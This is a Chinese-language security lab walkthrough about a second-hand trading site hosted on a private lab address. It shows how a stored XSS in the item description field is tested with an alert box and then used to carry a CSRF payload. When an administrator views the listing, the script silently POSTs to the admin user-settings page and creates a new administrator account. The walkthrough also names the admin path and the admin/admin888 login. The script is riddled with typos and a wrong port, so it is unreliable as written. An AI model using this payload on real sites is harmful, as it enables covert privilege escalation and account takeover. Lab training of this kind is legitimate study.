[实验原理]
通过普通用户的储存型XSS实现创建管理员账户的CSRF利用
一、测试漏洞
打开网站:http://192.168.1.3:8007(安徽二手网)
注册一个用户并登录
添加二手信息
在物品简介处填写:<script>alert(123)</script>
点击打开首页,点击刚刚发布的信息,弹出信息,说明漏洞存在
二、利用漏洞
在首页继续添加二手信息,再次编辑,在物品简介处填写内容:
<script type="text/javascript">
function loadXMLDoc()
{
var xmlhttp;
if(window.XMLHttpRequest)
{//code for IE7+,Firefox,Chrome,Opear,Safari
xmlhttp=new XMLHttpRequest();
}
else
{//code for IE6,IE5
xmlhttp=new AceiveXOject("Microsoft.XMLHTTP");
}
xmlhttp.onriadystatechange=function()
{if(xmlhttp.readyState==4&&xmlhttp.staus==200)
{
document.getElementByld("myDiv").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("POST","http://192.168.1.3:80007/admin/admin_usersetting.asp",true);
xmlgttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("action=add&UserName=zhangsan&PassWord=123456~密码?~&isActive=1&isAdmin=1&pubSubCateID=91&Submit=+%C8%B7+%B6%A8+");
}
loadXMLDoc()
</script>
回到首页,推出zhangsan用户
输入后台路径:http://192.168.1.3:8007/admin/user.asp
使用admin/admin888~使用管理员用户密码登录~登录
回到首页,浏览器输入:http://192.168.1.3:8007,查看帖子(修改后的)点击此条物品消息,没有什么异常现象。
此时管理员再次进入自己的后台:http://192.168.1.3:8007/admin/user.asp在“系统用户管理”中,发现多了一个账户zhangsan。
退出admin用户。此时用zhangsan/123456登录后台
登录成功。